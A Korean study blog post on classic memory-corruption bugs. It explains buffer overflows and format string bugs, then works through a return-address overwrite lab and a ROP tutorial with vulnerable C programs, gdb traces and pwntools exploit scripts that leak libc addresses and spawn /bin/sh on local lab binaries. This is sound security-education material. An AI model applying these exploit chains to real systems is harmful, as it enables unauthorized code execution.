Fascination
article thumbnail

[P4C] W7: 올드 스쿨 취약점과 올드 스쿨 공격 기법 공부하기


# 올드 스쿨 취약점

1) Buffer Overflow

- 개념

  • 기본적인 버퍼 오버플로우 공격은 데이터의 길이에 대한 불명확한 정의를 악용한 덮어쓰기로 발생
  • 경계선 관리가 적절하게 수행되어 덮어쓸 수 없는 부분에 해커가 임의의 코드를 덮어쓰는 것을 의미
  • 버퍼 오버플로우에 취약한 함수와 그렇지 않은 함수가 있는데, 프로그래머가 취약한 특정 함수를 사용하지 않는다면 공격이 훨씬 어려워짐

- 발생 원인

  • 하나의 프로그램은 수 많은 함수로 구성되어 있는데 프로그램을 실행하여 함수가 호출될 때, 지역 변수와 복귀주소가 스택이라 하는 논리 데이터 구조에 저장됨
  • 버퍼오버플로우는 이 복귀주소가 함수가 사용하는 지역변수의 데이터에 의해 침범 당할 때 발생하게 됨
  • 프로그래머가 실수로 지역변수가 할당된 크기보다 큰 크기를 입력해버리면 복귀조소가 입력한 데이터에 의해 다른 값으로 변경되는데 함수가 종료될 때 전혀 관계없는 복귀주소를 실행시키게 되어서 실행 프로그램이 비정상적으로 종료하게 됨
  • 악의적인 공격자가 이러한 취약점을 알고서 데이터의 길이와 내용을 적절히 조정하여 버퍼 오버플로우를 일으켜서 특정 코드를 실행시키게하는 해킹 공격 기법을 버퍼 오버플로우 공격이라 함

- 종류

  • Stack Buffer Overflow
    • 스택(함수 처리를 위해 지역 및 매개변수가 위치하는 메모리 영역) 구조 상, 할당된 버퍼들이 정의된 버퍼 한계치를 넘는 경우, 복귀 주소를 변경하여 공격자가 임의 코드를 수행
  • Heap Buffer Overflow
    • 힙(malloc()등의 메모리 할당 함수로 사용자가 동적으로 할당하는 메모리 영역) 구조 상, 최초 정의된 힙의 메모리 사이즈를 초과하는 문자열들이 힙의 버퍼에 할당될 시, 공격자가 데이터 변경 및 함수 주소 변경으로 임의 코드를 수행

- 대응책

  • 버퍼 오버플로우에 취약한 함수 사용하지 않기
    • strcpy(char *dest, const char *src);
    • strcat(char *dest, const char *src);
    • getwd(char *buf);
    • gets(char *s);
    • fscanf(FILE *stream, const char *format, ...);
    • scanf(const char *format, ...);
    • realpath(char *path, char resolved_path[]);
    • sprintf(char *str, const char *format);
  • 최신 운영체제 사용: 최신 운영체제에는 non-executable stack, 스택 가드(guard), 스택 실드(shield)와 같이 운영체제 내에서 해커의 공격 코드가 실행되지 않도록 하는 여러가지 장치가 있음
  • 컴파일 검사: 버퍼 오버플로우를 방지할 수 있는 고급 언어를 사용하거나 안전한 표준 라이브러리를 사용하여 코딩 표준을 따르거나, 스택 프레임(힙 영역에서 스택을 침범하지 못하게 함)의 손상을 탐지하는 기능을 탑재

 

2) Format String Bug

- 개념

  • 포맷 스트링 버그는 취약점 공격에 사용될 수 있는 보안 취약점이며, 포매팅을 수행하는 printf()와 같은 특정한 C 함수들에서 사용자 입력을 포맷 스트링 파라미터(%d, %n...)로 사용하는 것으로부터 나옴
  • +) 포맷 스트링을 사용하는 함수의 인자만 잘 검토하면 막을 수 있는 취약점으로 상대적으로 막기 쉬운편이며 최신 컴파일러에서는 포맷 스트링으로 전달되는 인자가 문자열 리터럴이 아닐 때 경고 메시지를 출력하기 때문에 잘 발생하지 않는 취약점임

- 파라미터 종류

파라미터 변수 형식
%d 정수형 10진수 상수(int)
%f 실수형 상수(float)
%lf 실수형 상수(double)
%c 문자 값(char)
%s 문자 스트링
%u 양의 정수(10진수)
%o 양의 정수(8진수)
%x 양의 정수(16진수)
%n * Int (쓰인 총 바이트 수)
%hn %n의 반인 2바이트 단위

- 문제점

  • 예를 들어 printf 함수를 사용한다고 가정
  • printf 함수는 두 가지 방법으로 사용할 수 있음
    • printf(BUFFER);
    • printf("FORMAT_STRING", BUFFER)
  • 포맷 스트링 버그는 포맷스트링을 사용하지 않고 바로 BUFFER를 출력하는 첫번째 사용법에서 발생
  • 만약 BUFFER안에 %x, %d등 포맷 스트링이 들어가면 printf함수는 그것들을 포맷스트링으로 보고 두번째 printf 사용법과 같이 동작하여 스택 메모리를 유출시킴

 

 

# 올드 스쿨 공격 기법

1) RET overwrite

[dreamhack] Exploit Tech: Return Address Overwrite

- 실습 예제

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

scanf("%s", buf);에 취약점이 존재함

입력의 길이에 제한을 두지 않기 때문에 버퍼 오버플로우 발생 가능성이 있음.

위 예제는 scanf("%s", buf);로 입력을 받기 때문에 입력을 길게 준다면 함수의 반환 주소를 덮어쓸 수 있을 것

 

조작해야하는 ret 위치에 break point를 걸고 A*64를 입력하니 다음과같이

main이 반환되는 시점에 입력 문자열 일부가 스택에 남아있는 것을 볼 수 있음

실행하고자하는 함수의 주소를 반환 주소자리에 적절하게 덮어쓰면 실행흐름 조작이 가능할 것임

rsp를 0x30만큼 빼서 buf에 할당해주고 있는 것을 알 수 있고 스택의 모양은 아래와 같을 것임

 

get_shell() 주소를 확인하니 0x4006aa임을 알 수 있음

 

현재 스택 프레임 상황에 맞추어 A를 48개만큼 채우고 SFP에 B를 8개 RET 자리에 get_shell의 주소를 넣어주면

페이로드 작성을 할 수 있을 것임

buf[0x30] SFP[0x8] RET[0x8]
A*48 B*8 get_shell()
from pwn import *

p = process("./rao")

payload ='A'*0x30 + 'B'*0x8 + '\xaa\x06\x40\x00\x00\x00\x00\x00'
p.sendafter("Input: ", payload)
p.interactive()

 

왜 두번째에서 실행이되는 것일까...싶음

(하지만 검색해보면 많은 분들이 나처럼 실행되시는 것 같아서 get_shell의 동작을 나중에 더 봐야할 것 같다)

 

2) Memory write primitive

[Lazenca] Return Oriented Programming(ROP)_x86

 

윈도우즈 커널 공격과 방어 - RW Primitive

윈도우즈 커널 보안은 이제 많은 경우 윈도우즈에서 SYSTEM 권한을 확보하기 위한 마지막 타겟으로 많이 연구 되고 있습니다. 이번 시리즈를 통해서 최신 윈도우즈 커널의 보안 장치들에 대한 기

learn.darungrim.com

해당 글을 읽어보니 write Primitive와 관련하여 ROP공격기법이 나와 이에 대해 정리하고자 함

 

 

# ROP

- ROP는 공격자가 실행 공간 보호(NX bit) 및 코드 서명 (Code signing)과 같은 보안 방어가 있는 상태에서 코드를 실행할 수 있게 해주는 기술 (RTL+ Gadgets)

- 이 기법에서 공격자는 프로그램의 흐름을 변경하기 위해 Stack Overflow 취약성이 필요하고, "가젯 (Gadgets)"이라고 하는 해당 프로그램이 사용하는 메모리에 있는 기계 명령어가 필요

>각 가젯은 일반적으로 반환 명령어 (ret)로 끝이나며, 기존 프로그램 또는 공유 라이브러리 코드 내의

서브 루틴에 있음

> 가젯과 취약성을 사용하면 공격자가 임의의 작업을 수행할 수 있음

 

 

# 1 Gadgets - POP; POP; POP; RET;

- ROP는 기본적으로 RTL 기법을 이용하며, 공격자는 RTL과 Gadgets를 이용해 공격에 필요한 코드를 프로그래밍하는 것

 

 

- ROP structure

  • 여러 개의 함수를 호출하기 위해 사용되는 것이 Gadgets이며, 기본적으로 다음과 같은 Gadgets이 사용됨
  • 호출하는 함수의 인자가 3개일 경우: "POP; POP; POP; ret"
  • 호출하는 함수의 인자가 2개일 경우: "POP; POP; ret"
  • 호출하는 함수의 인자가 1개일 경우: "POP; ret"
  • 호출하는 함수의 인자가 없을 경우: "ret"

- 해당 Gadgets들의 역할은 ESP 레지스터의 값을 증가시키는 것

  • RTL에 의해 호출되는 함수에 전달되는 인자 값이 저장된 영역을 지나 다음 함수가 호출될 수 있도록 하는 것
  • x86 바이너리에서는 pop 명령어의 피연산자 값은 중요하지 않음

 

Stack Address
Value
Explanation
0xffffd57c
Read function address of libc


Function Return Address
0xffffd580
Address of gadgets(pop;pop;pop;ret)
 
0xffffd584
First argument value
 
0xffffd588
Second argument value
 
0xffffd58C
Third argument value
 
0xffffd590
System function address of libc
 
0xffffd594
The address to return to after calling the system function
 
0xffffd598
First argument value
 

 

- 다음과 같은 방법으로 여러 개의 함수를 연속해서 실행할 수 있음

  •  RTL에서 호출할 함수 (주소 값이 저장된)의 다음 영역은 해당 함수가 종료된 후 이동할 Return Address 영역
  • 해당 영역에 Gadgets의 주소를 저장함으로써 연속해서 다음 함수가 호출될 수 있음
  • 위의 예제는 read() 함수 호출 후 System() 함수를 호출하게 됨

 

 

# 2 PLT & GOT

- 프로시저 링키지 테이블 (PLT, Procedure linkage table)에는 동적 링커가 공유 라이브러리의 함수를 호출하기 위한 코드가 저장되어 있음

> 해당 정보들은 ".plt" 섹션에 저장되어 있음

- 전역 오프셋 테이블 (GOT, Global offset table)에는 동적 링커에 의해 공유 라이브러리에서 호출할 함수의 주소가 저장됨

> 이 정보들은 ".got.plt" 섹션에 저장됨

> 이 섹션은 공격자들의 공격 대상이 되며, 주로 힙, ".bss" Exploit에 의해 포인터 값을 변조함

- ROP에서는 해당 정보들을 유용하게 활용할 수 있음

 

 

# 2.1 Debug

- PLT & GOT 영역의 내용 및 값의 변경을 확인할 수 있음

- read()
Breakpoint 1, 0x0804844f in vuln ()
gdb-peda$ x/i $eip
=> 0x804844f <vuln+20>:    call   0x8048300 <read@plt>
gdb-peda$ elfsymbol read
Detail symbol info
read@reloc = 0
read@plt = 0x8048300
read@got = 0x804a00c
gdb-peda$ x/3i 0x8048300
   0x8048300 <read@plt>:  jmp    DWORD PTR ds:0x804a00c
   0x8048306 <read@plt+6>:    push   0x0
   0x804830b <read@plt+11>:   jmp    0x80482f0
gdb-peda$ x/wx 0x804a00c
0x804a00c:  0x08048306
gdb-peda$ x/3i 0x80482f0
   0x80482f0:   push   DWORD PTR ds:0x804a004
   0x80482f6:   jmp    DWORD PTR ds:0x804a008
   0x80482fc:   add    BYTE PTR [eax],al
gdb-peda$ x/wx 0x804a008
0x804a008:  0xb7ff0000
gdb-peda$ x/3i 0xb7ff0000
   0xb7ff0000 <_dl_runtime_resolve>:  push   eax
   0xb7ff0001 <_dl_runtime_resolve+1>:    push   ecx
   0xb7ff0002 <_dl_runtime_resolve+2>:    push   edx
gdb-peda$ ni
AAAA
0x08048454 in vuln ()
gdb-peda$ x/wx 0x804a00c
0x804a00c:  0xb7edeb00
gdb-peda$ x/i 0xb7edeb00
   0xb7edeb00 <read>: cmp    DWORD PTR gs:0xc,0x0
gdb-peda$ p read
$1 = {<text variable, no debug info>} 0xb7edeb00 <read>
gdb-peda$
 

- read() 함수가 처음으로 호출되기 전 break point 설정

- read 함수의 plt, got 영역의 주소는 다음과 같음

  • .plt: 0x8048300
  • .got.plt: 0x804a00c

- read@plt 영역에는 libc에서 read() 함수를 호출하기 위한 코드가 저장되어 있음

- read@plt의 코드는 다음과 같이 동작

  • read@got(0x804a00c) 영역에 저장된 주소로 이동
  • read@got(0x804a00c) 영역에는 <read@plt+6>(0x8048306)영역의 주소가 저장되어 있음 → 이는 해당 프로그램에서read() 함수가 한 번도 호출되지 않았기 때문
  • <read@plt+11>의 "jmp 0x80482f0" 코드에 의해 _dl_runtime_resolve() 함수를 호출 → 해당 함수는 libc에서 찾고자하는 함수(read)의 주소를 .got.plt 영역에 저장함
  • read() 함수가 호출된 후 read@got(0x804a00c)영역에는 libc read() 함수 주소가 저장되어 있음

 

 

# 3. Proof of concept

# 3.1 Example code

- rop.c

#include <stdio.h>
#include <unistd.h>
  
void vuln(){
    char buf[50];
    read(0, buf, 256);
}
 
void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}
 

 

# 3.2 Build

gcc -m32 -fno-stack-protector -o rop rop.c
 

 

# 3.3 Overflow

- breakpoints 설정

  • 0x804843b : vuln 함수 코드 첫부분
  • 0x804844f : read() 함수 호출 전

 

 

return address: 0xffffd03c

 

buf 변수의 시작 주소: 0xffffcffe

return address - buf의 시작 주소 = 62

즉, 62개 이상의 문자를 입력함으로써 return address를 덮어쓸 수 있음

 

# 4. Exploit method

- ROP 기법을 이용한 Exploit의 순서

① read 함수를 이용해 "/bin/sh" 명령을 쓰기 가능한 메모리 영역에 저장

② write 함수를 이용해 read 함수의 .got 영역에 저장된 값을 출력

③ read 함수를 이용해 read 함수의 .got 영역에 system 함수의 주소를 덮어씀

④ read 함수 호출 - read .got 영역에 system 함수의 주소가 저장되어 있기 때문에 system 함수가 호출됨

 

- ROP code

read(0,writableArea,len(str(binsh)))
write(1,read_got,len(str(read_got)))
read(0,read_got,len(str(read_got)))
system(writableArea)
 

- payload 작성을 위해 알아야 할 정보

① "/bin/sh"명령을 저장할 수 있는 쓰기 가능한 메모리 공간

② read(), write() 함수의 plt, got

③ system() 함수의 주소

④ pop,pop,pop,ret 가젯의 위치

 

 

# 4.1 Finding a writable memory space

- 다음과 같이 쓰기 가능한 영역을 확인할 수 있음

해당 바이너리 0804a000 ~ 0804b000 영역에 쓰기 권한이 부여되어 있음

 

- sections

- Writeable section

Sections Name
Memory address
Size
.got.plt
0x0804a000
0x18
.data
0x0804a018
0x8
.bss
0x0804a020
0x4

 

 

# 4.2 Find gadget

- rp ++

 

 

# 4.3 Find plt, got address - read, write

- peda의 elfsymbol기능을 사용할 수 없어 아래와 같은 python 실행파일을 만들어 줌

rop.py

from pwn import *

e = ELF("./rop")
print("read@plt : " + str(hex(e.plt["read"])))
print("read@got : " + str(hex(e.got["read"])))
print("write@plt : " + str(hex(e.plt["write"])))
print("write@got : " + str(hex(e.got["write"])))
 

 

- read

  • .plt: 0x8048300
  • .got: 0x804a00c

- write

  • .plt: 0x8048320
  • .got: 0x804a014

 

 

# 4.4 Find the address of the system() function

- system 함수의 address, offset을 확인할 수 있음

- system function address: 0xf7ed8c20

- system function과 read function의 offset: 0x9ae70

 

 

# 5 Exploit code

- exploit-1.py

from pwn import *
from struct import *
 
#context.log_level = 'debug'
  
binsh = "/bin/sh"
  
stdin = 0
stdout = 1
  
read_plt = 0x8048300
read_got = 0x804a00c
write_plt = 0x8048320
write_got = 0x804a014

read_system_offset = 0x9ae70
writableArea = 0x0804a020 #.bss
pppr = 0x080484e9 #pop pop pop ret
  
payload = "A"*62
 
 
#read(0,writableArea,len(str(binsh)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(writableArea)
payload += p32(len(str(binsh)))
 
#write(1,read_got,len(str(read_got)))
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)
 
#read(0,read_got,len(str(read_got)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(len(str(read_got)))
 
#system(writableArea)
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(writableArea)
  
r = process('./rop')
r.recvn(10)
r.send(payload + '\n')
r.send(binsh)
read = u32(r.recvn(4))
system_addr = read - read_system_offset
r.send(p32(system_addr))
r.interactive()
 

[실행결과]

 

- exploit-2.py : Pwntools에서 제공하는 ROP 기능을 이용해 조금 더 편하게 ROP 코드를 작성할 수 있음

from pwn import *
from struct import *
 
#context.log_level = 'debug'
 
binsh = "/bin/sh"
 
binary = ELF('./rop')
 
#64bit OS
libc = ELF("/lib32/libc-2.23.so")
rop = ROP(binary)
 
print binary.checksec()
 
read_plt = binary.plt['read']
read_got = binary.got['read']
write_plt = binary.plt['write']
write_got = binary.got['write']
read_system_offset = libc.symbols['read'] - libc.symbols['system']
writableArea = 0x0804a020
 
#Address info
log.info("read@plt : " + str(hex(read_plt)))
log.info("read@got : " + str(hex(read_got)))
log.info("write@plt : " + str(hex(write_plt)))
log.info("write@got : " + str(hex(write_got)))
log.info("read system offset : " + str(hex(read_system_offset)))
log.info("Writeable area : " + str(writableArea))
 
#ROP Code
rop.read(0,writableArea,len(str(binsh)))
rop.write(1,read_got,4)
rop.read(0,read_got,len(str(read_got)))
rop.raw(read_plt)
rop.raw(0xaaaabbbb)
rop.raw(writableArea)
payload = "A"*62 + str(rop)
 
#Run
r = process("./rop")
r.recvn(10)
r.send(payload + '\n')
r.send(binsh)
read = u32(r.recvn(4))
system_addr = read - read_system_offset
rop = ROP(binary)
rop.raw(system_addr)
r.send(str(rop))
 
r.interactive()
 

[실행결과]

 

 

profile

Fascination

@euna-319

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!